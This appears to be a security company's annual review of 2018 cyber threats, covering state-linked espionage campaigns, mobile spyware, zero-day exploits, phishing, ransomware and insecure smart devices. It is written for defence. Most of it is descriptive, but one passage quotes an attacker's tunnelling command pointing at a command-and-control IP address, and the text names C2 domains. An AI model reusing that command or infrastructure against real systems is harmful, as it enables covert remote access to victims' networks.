The internet is now woven into the fabric of our lives. Many people routinely bank, shop and socialize online and the internet is the lifeblood of commercial organizations. The dependence on technology of governments, businesses and consumers provides a broad attack surface for attackers with all kinds of motives – financial theft, theft of data, disruption, damage, reputational damage or simply ‘for the lulz’. The result is a threat landscape that ranges from highly sophisticated targeted attacks to opportunistic cybercrime. All too often, both rely on manipulating human psychology as a way of compromising entire systems or individual computers. Increasingly, the devices targeted also include those that we don’t consider to be computers – from children’s toys to security cameras. Here is our annual round-up of major incidents and key trends from 2018

Targeted attack campaigns

At this year’s Security Analyst Summit we reported on Slingshot – a sophisticated cyber-espionage platform that has been used to target victims in the Middle East and Africa since 2012. We discovered this threat – which rivals Regin and ProjectSauron in its complexity – during an incident investigation. Slingshot uses an unusual (and, as far as we know, unique) attack vector: many of the victims were attacked by means of compromised MikroTik routers. The exact method for compromising the routers is not clear, but the attackers have found a way to add a malicious DLL to the device: this DLL is a downloader for other malicious files that are then stored on the router. When a system administrator logs in to configure the router, the router’s management software downloads and runs a malicious module on the administrator’s computer. Slingshot loads a number of modules on a compromised computer, but the two most notable are Cahnadr and GollumApp – which are, respectively, kernel mode and user mode modules. Together, they provide the functionality to maintain persistence, manage the file system, exfiltrate data and communicate with the C2 (command-and-control) server. The samples we looked at were marked as ‘version 6.x’, suggesting that the threat has existed for a considerable length of time. The time, skill and cost involved in creating Slingshot indicates that the group behind it is likely to be highly organized and professional, and probably state sponsored.

Soon after the start of the Winter Olympics in Pyeongchang, we began receiving reports of malware attacks on infrastructure related to the games. Olympic Destroyer shut down display monitors, killed Wi-Fi and took down the Olympics website – preventing visitors from printing tickets. The attack also affected other organizations in the region – for example, ski gates and ski lifts were disabled at several South Korean ski resorts. Olympic Destroyer is a network worm, the main aim of which is to wipe files from remote network shares of its victims. In the days that followed the attack, research teams and media companies around the world variously attributed the attack to Russia, China and North Korea – based on a number of features previously attributed to cyber-espionage and sabotage groups allegedly based in those countries or working for the governments of those countries. Our own researchers were also trying to understand which group was behind the attack. At one stage during our research, we discovered something that seemed to indicate that the Lazarus group was behind the attack. We found a unique trace left by the attackers that exactly matched a previously known Lazarus malware component. However, the lack of obvious motive and inconsistencies with known Lazarus TTPs (tactics, techniques and procedures) that we found during our on-site investigation at a compromised facility in South Korea led us to look again at this artefact. When we did so, we discovered that the set of features didn’t match the code – it had been forged to perfectly match the fingerprint used by Lazarus. So we concluded that the ‘fingerprint’ was a very sophisticated false flag, intentionally placed inside the malware in order to give threat hunters the impression that they had found a ‘smoking gun’ and diverting them from a more accurate attribution.


OlympicDestroyer component relations

We continued to track this APT group’s activities and noticed in June that they had started a new campaign with a different geographical distribution and using new themes. Our telemetry, and the characteristics of the spear-phishing documents we analysed, indicated that the attacker behind Olympic Destroyer was targeting financial and biotechnology-related organizations based in Europe – specifically, Russia, the Netherlands, Germany, Switzerland and Ukraine. The earlier Olympic Destroyer attacks – designed to destroy and paralyze the infrastructure of the Winter Olympic Games and related supply chains, partners and venues – were preceded by a reconnaissance operation. This suggested to us that the new activities were part of another reconnaissance stage that would be followed by a wave of destructive attacks with new motives. The variety of financial and non-financial targets could indicate that the same malware was being used by several groups with different interests. This could also be the result of cyberattack outsourcing, which is not uncommon among nation-state threat actors. However, it’s also possible that the financial targets are another false-flag operation by a threat actor that has already shown that they excel at this.

In April, we reported the workings of Operation Parliament, a cyber-espionage campaign aimed at high-profile legislative, executive and judicial organizations around the world – with its main focus in the Middle East and North Africa region, especially Palestine. The attacks, which started early in 2017, targeted parliaments, senates, top state offices and officials, political science scholars, military and intelligence agencies, ministries, media outlets, research centers, election commissions, Olympic organizations, large trading companies and others. The targeting of victims was unlike that of previous campaigns in the region (Gaza Cybergang or Desert Falcons) and points to an elaborate information-gathering exercise that was carried out prior to the attacks (physical and/or digital). The attackers have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their C2 servers. The attacks slowed down after the start of 2018, probably because the attackers achieved their objectives.

We have continued to track the activities of Crouching Yeti (aka Energetic Bear), an APT group that has been active since at least 2010, mainly targeting energy and industrial companies. The group targets organizations around the world, but with a particular focus on Europe, the US and Turkey – the latter being a new addition to the group’s interests during 2016-17. The group’s main tactics include sending phishing emails with malicious documents and infecting servers for different purposes, including hosting tools and logs and watering-hole attacks. Crouching Yeti’s activities against US targets have been publicly discussed by US-CERT and the UK National Cyber Security Centre (NCSC). In April, Kaspersky Lab ICS CERT provided information on identified servers infected and used by Crouching Yeti and presented the findings of an analysis of several web servers compromised by the group during 2016 and early 2017. You can read the full report here, but below is a summary of our findings.

  1. With rare exceptions, the group’s members get by with publicly available tools. The use of publicly available utilities by the group to conduct its attacks renders the task of attack attribution without any additional group ‘markers’ very difficult.
  2. Potentially, any vulnerable server on the internet is of interest to the attackers when they want to establish a foothold in order to develop further attacks against target facilities.
  3. In most cases that we have observed, the group performed tasks related to searching for vulnerabilities, gaining persistence on various hosts, and stealing authentication data.
  4. The diversity of victims may indicate the diversity of the attackers’ interests.
  5. It can be assumed with some degree of certainty that the group operates in the interests of or takes orders from customers that are external to it, performing initial data collection, the theft of authentication data and gaining persistence on resources that are suitable for the attack’s further development.

In May, researchers from Cisco Talos published the results of their research into VPNFilter, malware used to infect different brands of router – mainly in Ukraine, although affecting routers in 54 countries in total. You can read their analysis here and here. Initially, they believed that the malware had infected around 500,000 routers – Linksys, MikroTik, Netgear and TP-Link networking equipment in the small office/home office (SOHO) sector, and QNAP network-attached storage (NAS) devices. However, it later became clear that the list of infected routers was much longer – 75 in total, including ASUS, D-Link, Huawei, Ubiquiti, UPVEL and ZTE. The malware is capable of bricking the infected device, executing shell commands for further manipulation, creating a TOR configuration for anonymous access to the device or configuring the router’s proxy port and proxy URL to manipulate browsing sessions. However, it also spreads into networks supported by the device, thereby extending the scope of the attack. Researchers from our Global Research and Analysis Team (GReAT) took a detailed look at the C2 mechanism used by VPNFilter. One of the interesting questions is who is behind this malware. Cisco Talos indicated that a state-sponsored or state affiliated threat actor is responsible. In its affidavit for sink-holing the C2, the FBI suggests that Sofacy (aka APT28, Pawn Storm, Sednit, STRONTIUM, and Tsar Team) is the culprit. There is some code overlap with the BlackEnergy malware used in previous attacks in Ukraine (the FBI’s affidavit makes it clear that they see BlackEnergy (aka Sandworm) as a sub-group of Sofacy).

Sofacy is a highly active and prolific cyber-espionage group that Kaspersky Lab has been tracking for many years. In February, we published an overview of Sofacy activities in 2017, revealing a gradual move away from NATO-related targets at the start of 2017, towards targets in the Middle East, Central Asia and beyond. Sofacy uses spear-phishing and watering-hole attacks to steal information, including account credentials, sensitive communications and documents. This threat actor also makes use of zero-day vulnerabilities to deploy its malware.

Sofacy deploys different tools for different target profiles. Early in 2017 the group’s Dealer’s Choice campaign was used to target military and diplomatic organizations (mainly in NATO countries and Ukraine). Later in the year, the group used other tools from its arsenal, Zebrocy and SPLM, to target a broader range of organizations, including science and engineering centers and press services, with more of a focus on Central Asia and the Far East. Like other sophisticated threat actors, Sofacy continually develops new tools, maintains a high level of operational security and focuses on making its malware hard to detect. Once any signs of activity by an advanced threat actor such as Sofacy have been found in a network, it’s important to review logins and unusual administrator access on systems, thoroughly scan and sandbox incoming attachments, and maintain two-factor authentication for services such as email and VPN access. The use of APT intelligence reports, threat hunting tools such as YARA and advanced detection solutions such as KATA (Kaspersky Anti Targeted Attack Platform) will help you to understand their targeting and provide powerful ways of detecting their activities.

Our research shows that Sofacy is not the only threat actor operating in the Far East and this sometimes results in a target overlap between very different threat actors. We have seen cases where the Sofacy Zebrocy malware has competed for access to victims’ computers with the Russian-speaking Mosquito Turla clusters; and where its SPLM backdoor has competed with the traditional Turla and Chinese-speaking Danti attacks. The shared targets included government administration, technology, science and military-related organizations in or from Central Asia. The most intriguing overlap is probably that between Sofacy and the English-speaking threat actor behind the Lamberts family. The connection was discovered after researchers detected the presence of Sofacy on a server that threat intelligence had previously identified as compromised by Grey Lambert malware. The server belongs to a Chinese conglomerate that designs and manufactures aerospace and air defense technologies. However, in this case the original SPLM delivery vector remains unknown. This raises a number of hypothetical possibilities, including the fact that Sofacy could be using a new, and as yet undetected, exploit or a new strain of its backdoor, or that Sofacy somehow managed to harness Grey Lambert’s communication channels to download its malware. It could even be a false flag, planted during the previous Lambert infection. We think that the most likely answer is that an unknown new PowerShell script or legitimate but vulnerable web app was exploited to load and execute the SPLM code.

In June, we reported an ongoing campaign targeting a national data centre in Central Asia. The choice of target was especially significant – it means that the attackers were able to gain access to a wide range of government resources in one fell swoop. We think they did this by inserting malicious scripts into the country’s official websites in order to conduct watering-hole attacks. We attribute this campaign to the Chinese-speaking threat actor, LuckyMouse (aka EmissaryPanda and APT27) because of the tools and tactics used in the campaign, because the C2 domain – ‘update.iaacstudio[.]com’ – was previously used by this group and because they have previously targeted government organizations, including Central Asian ones. The initial infection vector used in the attack against the data center is unclear. Even where we observed LuckyMouse using weaponized documents with CVE-2017-118822 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we couldn’t prove that they were related to this particular attack. It’s possible that the attackers used a watering hole to infect data center employees.

We reported another LuckyMouse campaign in September. Since March, we had found several infections where a previously unknown Trojan was injected into the ‘lsass.exe’ system process memory. These implants were injected by the digitally signed 32- and 64-bit network filtering driver NDISProxy. Interestingly, this driver is signed with a digital certificate that belongs to the Chinese company LeagSoft, a developer of information security software based in Shenzhen, Guangdong. We informed the company about the issue via CN-CERT. This campaign targeted Central Asian government organizations and we believe the attack was linked to a high-level meeting in the region. The choice of the Earthworm tunneler used in the attack is typical for Chinese-speaking actors. Also, one of the commands used by the attackers (‘-s rssocks -d 103.75.190[.]28 -e 443’) creates a tunnel to a previously known LuckyMouse C2 server. The choice of victims in this campaign also aligns with the previous interests shown by this threat actor. We did not see any indications of spear-phishing or watering-hole activity: and we think that the attackers spread their infectors through networks that were already compromised.

Lazarus is a well-established threat actor that has conducted cyber-espionage and cybersabotage campaigns since at least 2009. In recent years, the group has launched campaigns against financial organizations around the globe. In August we reported that the group had successfully compromised several banks and infiltrated a number of global crypto-currency exchanges and fintech companies. While assisting with an incident response operation, we learned that the victim had been infected with the help of a Trojanized crypto-currency trading application that had been recommended to the company over email. An unsuspecting employee had downloaded a third-party application from a legitimate looking website, infecting their computer with malware known as Fallchill, an old tool that Lazarus has recently started using again. It seems as though Lazarus has found an elaborate way to create a legitimate looking site and inject a malicious payload into a ‘legitimate looking’ software update mechanism – in this case, creating a fake supply chain rather than compromising a real one. At any rate, the success of the Lazarus group in compromising supply chains suggests that it will continue to exploit this method of attack. The attackers went the extra mile and developed malware for non-Windows platforms – they included a Mac OS version and the website suggests that a Linux version is coming soon. This is probably the first time that we’ve seen this APT group using malware for Mac OS. It looks as though, in the chase after advanced targets, software developers from supply chains and some high-profile targets, threat actors are forced to develop Mac OS malware tools. The fact that the Lazarus group has expanded its list of targeted operating systems should be a wake-up call for users of non-Windows platforms. You can read our report on Operation AppleJeus here.

Turla (aka Venomous Bear, Waterbug, and Uroboros) is best known for what was, at the time, an ultra-complex Snake rootkit focused on NATO-related targets. However, this threat actor’s activity is much broader. In October, we reported on the Turla group’s recent activities, revealing an interesting mix of old code, new code, and new speculations as to where they will strike next and what they will shed. Much of our 2018 research focused on the group’s KopiLuwak JavaScript backdoor, new variants of the Carbon framework and Meterpreter delivery techniques. Other interesting aspects were the changing Mosquito delivery techniques, customized PoshSec-Mod open-source PowerShell use and borrowed injector code. We tied some of this activity together with infrastructure and data points from WhiteBear and Mosquito infrastructure and activity in 2017 and 2018. One interesting aspect of our research was the lack of ongoing targeting overlap with other APT activity. Turla was absent from the milestone DNC hack event – where Sofacy and CozyDuke were both present – but the group was quietly active around the globe on other projects. This provides some insight into the ongoing motivations and ambitions of the group. It is interesting that data related to these organizations has not been weaponized and found online while this Turla activity quietly carries on. Both Mosquito and Carbon projects focus mainly on diplomatic and foreign affairs targets, while WhiteAtlas and WhiteBear activity stretched across the globe to include organizations related to foreign affairs, but not all targeting has consistently followed this profile: the group also targeted scientific and technical centres, along with organizations outside the political arena. The group’s KopiLuwak activity does not necessarily focus on diplomatic and foreign affairs. Instead, 2018 activity targeted government-related scientific and energy research organizations and a government-related communications organization in Afghanistan. This highly selective but wider targeting set will probably continue into 2019.

In October, we reported the recent activity of the MuddyWater APT group. Our past telemetry indicates that this relatively new threat actor, which surfaced in 2017, has focused mainly on government targets in Iraq and Saudi Arabia. However, the group behind MuddyWater has been known to target other countries in the Middle East, Europe and the US. We recently noticed a large number of spear-phishing documents that appear to be targeting government bodies, military entities, telcos and educational institutions in Jordan, Turkey, Azerbaijan and Pakistan, in addition to the continuous targeting of Iraq and Saudi Arabia. Other victims were detected in Mali, Austria, Russia, Iran and Bahrain. These new documents have appeared throughout 2018 and the activity escalated from May onwards. The new spear-phishing documents rely on social engineering to persuade the victims to enable macros. The attackers rely on a range of compromised hosts to deliver their attacks. In the advanced stages of our research, we were able not only to observe additional files and tools from the group’s arsenal but also some OPSEC mistakes made by the attackers. In order to protect against malware attacks, we would recommend the following measures:

  • Educate general staff so that they are able to identify malicious behaviour such as phishing links.
  • Educate information security staff to ensure that they have full configuration, investigative and hunting abilities.
  • Use a proven corporate-grade security solution in combination with anti-targeted attack solutions capable of detecting attacks by analyzing network anomalies.
  • Provide security staff with access to the latest threat intelligence data, which will arm them with helpful tools for targeted attack prevention and discovery, such as IoCs (indicators of compromise) and YARA rules.
  • Establish enterprise-grade patch management processes.

High-profile organizations should adopt elevated levels of cybersecurity, since attacks against them are inevitable and are unlikely to ever cease.

DustSquad is another threat actor that has targeted organizations in Central Asia. Kaspersky Lab has been monitoring this Russian language cyber-espionage group for the last two years, providing private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware. Recently, we described a malicious program called Octopus, used by DustSquad to target diplomatic bodies in the region – the name was originally coined by ESET in 2017, after the 0ct0pus3.php script used by the actor on their old C2 servers. Using the Kaspersky Attribution Engine, based on similarity algorithms, we discovered that Octopus is related to DustSquad. In our telemetry, we tracked this campaign back to 2014 in the former Soviet republics of Central Asia (still mostly Russian-speaking) and in Afghanistan. In April, we discovered a new Octopus sample masquerading as Telegram Messenger with a Russian interface. We were unable to find legitimate software that this malware is impersonating – in fact, we don’t believe it exists. However, the attackers used the potential Telegram ban in Kazakhstan to push its dropper as alternative communication software for the political opposition. By subscribing to our APT intelligence reports, you can get access to our investigations and discoveries as they happen, including comprehensive technical data.

In October, we published our analysis of Dark Pulsar. Our investigation started in March 2017, when the Shadow Brokers published stolen data that included two frameworks – DanderSpritz and FuzzBunch. DanderSpritz contains various types of plugin designed to analyze victims, exploit vulnerabilities, schedule tasks, etc. The DanderSpritz framework is designed to examine already controlled machines and gather intelligence. Together, they provide a very powerful platform for cyber-espionage. The leak didn’t include the Dark Pulsar backdoor itself: rather, it contained an administrative module for controlling the backdoor. However, by creating special signatures based on some magic constants in the administrative module, we were able to catch the implant itself. This implant gives the attackers remote control over compromised devices. We found 50 victims, all located in Russia, Iran and Egypt, but we believe there were probably many more. For one thing, the DanderSpritz interface is able to manage a large number of victims at the same time. In addition, the attackers often delete their malware once the campaign has ended. We think that the campaign stopped following the ‘Lost in Translation’ leak by the Shadow Brokers in April 2017. You can find our suggested mitigation strategies for complex threats such as Dark Pulsar here.

Mobile APT campaigns

The mobile APT threats segment saw three significant events: the detection of the Zoopark, BusyGasper and Skygofree cyber-espionage campaigns.

Technically, all three are well-designed and similar in their primary purpose – spying on selected victims. Their main aim is to steal all available personal data from a mobile device: interception of calls, messages, geolocation, etc. There is even a function for eavesdropping via the microphone – the smartphone is used as a ‘bug’ that doesn’t even need to be hidden from an unsuspecting target.

The cybercriminals paid particular attention to the theft of messages from popular instant messaging services, which have now largely replaced standard means of communication. In several cases, the attackers used exploits that were capable of escalating the Trojans’ local privileges on a device, opening up virtually unlimited access to remote monitoring, and often device management.

Keylogger functionality was also implemented in two of the three malicious programs, with the cybercriminals recording every keystroke on a device’s keyboard. It’s noteworthy that in order to intercept clicks the attackers didn’t even require elevated privileges.

Geographically, victims were recorded in a variety of countries: Skygofree targeted users in Italy, BusyGasper attacked individual Russian users, and Zoopark operated in the Middle East.

It’s also worth noting that there’s an increasingly prominent trend of criminals involved in espionage showing a preference for mobile platforms, because they offer a lot more personal data.

Exploits

Exploiting vulnerabilities in software and hardware remains an important means of compromising devices of all kinds.

Early this year, two severe vulnerabilities affecting Intel CPUs were reported. Dubbed Meltdown and Spectre respectively, they both allow an attacker to read memory from any process and from its own process respectively. The vulnerabilities have been around since at least 2011. Meltdown (CVE-2017-5754) affects Intel CPUs and allows an attacker to read data from any process on the host system. While code execution is required, this can be obtained in various ways – for example, through a software bug or by visiting a malicious website that loads JavaScript code that executes the Meltdown attack. This means that all the data residing in memory (passwords, encryption keys, PINs, etc.) could be read if the vulnerability is exploited properly. Vendors were quick to publish patches for the most popular operating systems. The Microsoft update, released on January 3, was not compatible with all antivirus programs – possibly resulting in a BSoD (Blue Screen of Death) on incompatible systems. So updates could only be installed if an antivirus product had first set a specific registry key, to indicate that there were no compatibility problems. Spectre (CVE-2017-5753 and CVE-2017-5715) is slightly different. Unlike Meltdown, this attack also works on other architectures (such as AMD and ARM). Also, Spectre is only able to read the memory space of the exploited process, and not that of any process. More importantly, aside from some countermeasures in some browsers, no universal solution is readily available for Spectre. It became clear in the weeks following the reports of the vulnerabilities that they are not easily fixable. Most of the released patches have reduced the attack surface, mitigating against known ways of exploiting the vulnerabilities, but they don’t eradicate the danger completely. Since the problem is fundamental to the working of the vulnerable CPUs, it was clear that vendors would probably have to grapple with new exploits for years to come. In fact, it didn’t take years. In July, Intel paid out a $100,000 bug bounty for new processor vulnerabilities related to Spectre variant one (CVE-2017-5753). Spectre 1.1 (CVE-2018-3693) can be used to create speculative buffer overflows. Spectre 1.2 allows an attacker to overwrite read-only data and code pointers to breach sandboxes on CPUs that don’t enforce read-write protections. These new vulnerabilities were uncovered by MIT researcher Vladimir Kiriansky and independent researcher Carl Waldspurger.

On April 18, someone uploaded an interesting exploit to VirusTotal. This was detected by several security vendors, including Kaspersky Lab – using our generic heuristic logic for some older Microsoft Word documents. It turned out to be a new zero-day vulnerability for Internet Explorer (CVE-2018-8174) – patched by Microsoft on May 8, 2018. Following processing of the sample in our sandbox system, we noticed that it successfully exploited a fully patched version of Microsoft Word. This led us to carry out a deeper analysis of the vulnerability. The infection chain consists of the following steps. The victim receives a malicious Microsoft Word document. After opening it, the second stage of the exploit is downloaded – an HTML page containing VBScript code. This triggers a UAF (Use After Free) vulnerability and executes shellcode. Despite the initial attack vector being a Word document, the vulnerability is actually in VBScript. This is the first time we have seen a URL Moniker used to load an IE exploit in Word, but we believe that this technique will be heavily abused by attackers in the future, since it allows them to force victims to load IE, ignoring the default browser settings. It’s likely that exploit kit authors will start abusing it in both drive-by attacks (through the browser) and spear-phishing campaigns (through a document). To protect against this technique, we would recommend applying the latest security updates and using a security solution with behavior detection capabilities.

In August, our AEP (Automatic Exploit Prevention) technology detected a new kind of cyberattack that tried to use a zero-day vulnerability in the Windows driver file, ‘win32k.sys’. We informed Microsoft about the issue and on October 9 Microsoft disclosed the vulnerability (CVE-2018-8453) and published an update. This is a very dangerous vulnerability, giving attackers control over a compromised computer. The vulnerability was used in a highly targeted attack campaign on organizations in the Middle East – we found fewer than a dozen victims. We believe that these attacks were carried out by the FruityArmor threat actor.

In late October we reported another vulnerability to Microsoft, this time a zero-day elevation of privilege vulnerability in ‘win32k.sys’ – which can be used by an attacker to obtain the privileges necessary for persistence on a victim’s system. This vulnerability has also been exploited in a very limited number of attacks on organizations in the Middle East. Microsoft published an update for this vulnerability (CVE-2018-8589) on November 13. This threat was also detected by means of our proactive technologies – the advanced sandboxing and anti-malware engine for the Kaspersky Anti Targeted Attack Platform and our AEP technology.

Browser extensions – extending the reach of cybercriminals

Browser extensions can make our lives easier, hiding obtrusive advertising, translating text, helping us choose the goods we want in online stores and more. Unfortunately, there are also less desirable extensions that are used to bombard us with advertising or collect information about our activities. There are also extensions designed to steal money. Earlier this year, one of these caught our eye because it communicated with a suspicious domain. The malicious extension, named Desbloquear Conteúdo (‘Unblock Content’ in Portuguese), targeted customers of Brazilian online banking services, harvesting logins and passwords in order to obtain access to victims’ bank accounts.

In September, hackers published the private messages from at least 81,000 Facebook accounts, claiming that this was just a small fraction of a much larger haul comprising 120 million accounts. In a Dark Web advert, the attackers offered the messages for 10 cents per account. The attack was investigated by the BBC Russian Service and cybersecurity company Digital Shadows. They found that of 81,000 accounts, most were from Ukraine and Russia, although accounts from other countries were also among them, including the UK, the US and Brazil. Facebook suggested that the messages were stolen using a malicious browser extension.

Malicious extensions are quite rare, but we need to take them seriously because of the potential damage they can cause. You should only install verified extensions with large numbers of installations and reviews in the Chrome Web Store or other official service. Even so, in spite of the protection measures implemented by the owners of such services, malicious extensions can still end up being published there. So it’s a good idea to use an internet security product that gives you a warning if an extension acts suspiciously.

The World Cup of fraud

Social engineering remains an important tool in the arsenal of cyberattackers of all kinds. Fraudsters are always on the lookout for opportunities to make money off the back of major sporting events; and the FIFA World Cup is no different. Long before the event kicked off, cybercriminals had started to create phishing websites and send messages exploiting World Cup themes. These phishing messages included notifications of a fake lottery win, or a message offering tickets to one of the matches. Fraudsters often go to great lengths to mimic legitimate partner sites, creating well-designed pages and even including SSL certificates for added credibility. The criminals also extract data by mimicking official FIFA notifications: the victim receives a message telling them that the security system has been updated and all personal data must be re-entered to avoid lockout. These messages contain a link to a fake page where the scammers harvest the victim’s personal information.

You can find our report on the ways cybercriminals have exploited the World Cup in order to make money here. We also provided tips on how to avoid phishing scams – advice that holds true for any phishing scams, not just for those related to the World Cup.

In the run up to the tournament, we also analyzed wireless access points in the 11 cities hosting FIFA World Cup matches – nearly 32,000 Wi-Fi hotspots in total. While checking encryption and authentication algorithms, we counted the number of WPA2 and open networks, as well as their share among all the access points. More than a fifth of Wi-Fi hotspots were using unreliable networks. This meant that criminals simply needed to be located near an access point to intercept traffic and get their hands on people’s data. Around three quarters of all access points used WPA/WPA2 encryption, considered to be one of the most secure. The level of protection mostly depends on the settings, such as the strength of the password set by the hotspot owner. A complicated encryption key can take years to successfully hack. However, even reliable networks, like WPA2, cannot be automatically considered totally secure. They are still susceptible to brute-force, dictionary and key reinstallation attacks, for which there are a large number of tutorials and open source tools available online. Any attempt to intercept traffic from WPA Wi-Fi in public access points can also be made by penetrating the gap between the access point and the device at the beginning of the session.

You can read our report here, together with our recommendations on the safe use of Wi-Fi hotspots, advice that is valid wherever you may be – not just at the World Cup.

Financial fraud on an industrial scale

In August, Kaspersky Lab ICS CERT reported a phishing campaign designed to steal money from enterprises – primarily manufacturing companies. The attackers used standard phishing techniques to trick their victims into clicking on infected attachments, using emails disguised as commercial offers and other financial documents. The criminals used legitimate remote administration applications – either TeamViewer or RMS (Remote Manipulator System). These programs were employed to gain access to the device, scan for information on current purchases and details of financial and accounting software used by the victims. The attackers then used different ploys to steal company money – for example, by replacing the banking details in transactions. By the time we published our report, on August 1, we had seen infections on around 800 computers, spread across at least 400 organizations in a wide array of industries – including manufacturing, oil and gas, metallurgy, engineering, energy, construction, mining and logistics. The campaign has been ongoing since October 2017.

Our research highlights that, even when threat actors use simple techniques and known malware, they can successfully attack industrial companies by using social engineering tricks and hiding their code in target systems – using legitimate remote administration software to evade detection by antivirus solutions.

You can find out more about how attackers use remote administration tools to compromise their targets here, and an overview of attacks on ICS systems in the first half of 2018 here.

Ransomware – still a threat

The fall in the number of ransomware attacks in the last year or so has been well-documented. Nevertheless, this type of malware remains a significant problem and we continue to see the development of new ransomware families. Early in August, our anti-ransomware module started detecting the KeyPass Trojan. In just two days, we found this malware in more than 20 countries – Brazil and Vietnam were hardest hit, but we also found victims in Europe, Africa and the Far East. KeyPass encrypts all files, regardless of extension, on local drives and network shares that are accessible from the infected computer. It ignores some files, located in directories that are hardcoded in the malware. Encrypted files are given the additional extension ‘KEYPASS’ and ransom notes, called ‘!!!KEYPASS_DECRYPTION_INFO!!!.txt’, are saved in each directory containing encrypted files. The creators of this Trojan implemented a very simplistic scheme. The malware uses the symmetric algorithm AES-256 in CFB mode with zero IV and the same 32-byte key for all files. The Trojan encrypts a maximum of 0x500000 bytes (~5 MB) of data at the start of each file. Shortly after launch, the malware connects to its C2 server and obtains the encryption key and infection ID for the current victim. The data is transferred over plain HTTP in the form of JSON. If the C2 is unavailable – for example, if the infected computer is not connected to the internet, or the server is down – the malware uses a hardcoded key and ID. As a result, in the case of offline encryption, the decryption of the victim’s files is trivial.

Probably the most interesting feature of the KeyPass Trojan is the ability to take ‘manual control’. The Trojan contains a form that is hidden by default, but which can be shown after pressing a special button on the keyboard. This form allows the criminals to customize the encryption process by changing such parameters as the encryption key, the name of the ransom note, the text of the ransom, the victim ID, the extension of encrypted files and the list of directories to be excluded from encryption. This capability suggests that the criminals behind the Trojan might intend to use it in manual attacks.

However, it’s not only new ransomware families that are causing problems. One and a half years after the WannaCry epidemic, it continues to top the list of the most widespread cryptor families – so far, we have seen 74,621 unique attacks worldwide. These attacks accounted for 28.72% of all those targeted with cryptors in Q3 2018. This percentage has risen by two-thirds during the last year. This is especially alarming considering that a patch for the EternalBlue exploit used by WannaCry existed even before the initial epidemic in May 2017.

Asacub and banking Trojans

2018 showed the most impressive figures in terms of the number of attacks involving mobile banking Trojans. At the beginning of the year, this type of threat seemed to have leveled off both in number of unique samples detected and number of users attacked.

However, in the second quarter there was a dramatic change for the worse: record-breaking numbers of detected mobile banking Trojans and attacked users. The root cause of this significant upturn is unclear, though the main culprits were the creators of Asacub and Hqwar. An interesting feature of Asacub is its longevity: according to our data, the group behind it has been operating for more than three years.

Asacub evolved from an SMS Trojan, which from the very outset possessed techniques for preventing deletion and intercepting incoming calls and SMSs. The creators subsequently complicated the program logic and started the mass distribution of the malware. The chosen vector was the same as that at the very beginning – social engineering via SMS. However, this time the valid phone numbers were sourced from popular bulletin boards, with owners often expecting messages from unfamiliar subscribers.

The propagation technique then snowballed when the devices that the Trojan had infected started spreading the infection – Asacub self-proliferated to the victim’s entire contact list.

Smart doesn’t mean secure

These days we’re surrounded by smart devices. This includes everyday household objects such as TVs, smart meters, thermostats, baby monitors and children’s toys. But it also includes cars, medical devices, CCTV cameras and parking meters. We’re even seeing the emergence of smart cities. However, this offers a greater attack surface to anyone looking to take advantage of security weaknesses – for whatever purpose. Securing traditional computers is difficult. But things are more problematic with the internet of things (IoT), where lack of standardization leaves developers to ignore security, or consider it as an afterthought. There are plenty of examples to illustrate this.

In February, we explored the possibility that a smart hub might be vulnerable to attack. A smart hub lets you control the operation of other smart devices in the home, receiving information and issuing commands. Smart hubs might be controlled through a touch screen, or through a mobile app or web interface. If it’s vulnerable, it would potentially provide a single point of failure. While the smart hub our researchers investigated didn’t contain significant vulnerabilities, there were logical mistakes that were enough to allow our researchers to obtain remote access.

Researchers at Kaspersky Lab ICS CERT checked a popular smart camera to see how well protected it is from hackers. Smart cameras are now part of everyday life. Many now connect to the cloud, allowing someone to monitor what’s happening at a remote location – to check on pets, for security surveillance, etc. The model our researchers investigated is marketed as an all-purpose tool – suitable for use as a baby monitor, or as part of a security system. The camera is able to see in the dark, follow a moving object, stream footage to a smartphone or tablet and play back sound through a built-in speaker. Unfortunately, the camera turned out to have 13 vulnerabilities – almost as many as it has features – that could allow an attacker to change the administrator password, execute arbitrary code on the device, build a botnet of compromised cameras or stop it functioning completely.

Potential problems are not limited to consumer devices. Early this year, Ido Naor, a researcher from our Global Research and Analysis Team and Amihai Neiderman from Azimuth Security, discovered a vulnerability in an automation device for a gas station. This device was directly connected to the internet and was responsible for managing every component of the station, including fuel dispensers and payment terminals. Even more alarming, the web interface for the device was accessible with default credentials. Further investigation revealed that it was possible to shut down all fueling systems, cause a fuel leakage, change the price, circumvent the payment terminal (in order to steal money), capture vehicle license plates and driver identities, execute code on the controller unit and even move freely across the gas station network.

Technology is driving improvements in healthcare. It has the power to transform the quality and reduce the cost of health and care services. It can also give patients and citizens more control over their care, empower carers and support the development of new medicines and treatments. However, new healthcare technologies and mobile working practices are producing more data than ever before, at the same time providing more opportunities for data to be lost or stolen. We’ve highlighted the issues several times over the last few years (you can read about it here, here and here). We continue to track the activities of cybercriminals, looking at how they penetrate medical networks, how they find data on publicly available medical resources and how they exfiltrate it. In September, we examined healthcare security. More than 60% of medical organizations had some kind of malware on their computers. In addition, attacks continue to grow in the pharmaceutical industry. It’s vital that medical facilities remove all nodes that process personal medical data, update software and remove applications that are no longer needed, and do not connect expensive medical equipment to the main LAN. You can find our detailed advice here.

This year, we also investigated smart devices for animals – specifically, trackers to monitor the location of pets. These gadgets are able to access the pet owner’s home network and phone, and their pet’s location. We wanted to find out how secure they are. Our researchers looked at several popular trackers for potential vulnerabilities. Four of the trackers we looked at use Bluetooth LE technology to communicate with the owner’s smartphone. But only one does so correctly. The others can receive and execute commands from anyone. They can also be disabled, or hidden from the owner – all that’s needed is proximity to the tracker. Only one of the tested Android apps verifies the certificate of its server, without relying solely on the system. As a result, they are vulnerable to man-in-the-middle (MitM) attacks—intruders can intercept transmitted data by ‘persuading’ victims to install their certificate.

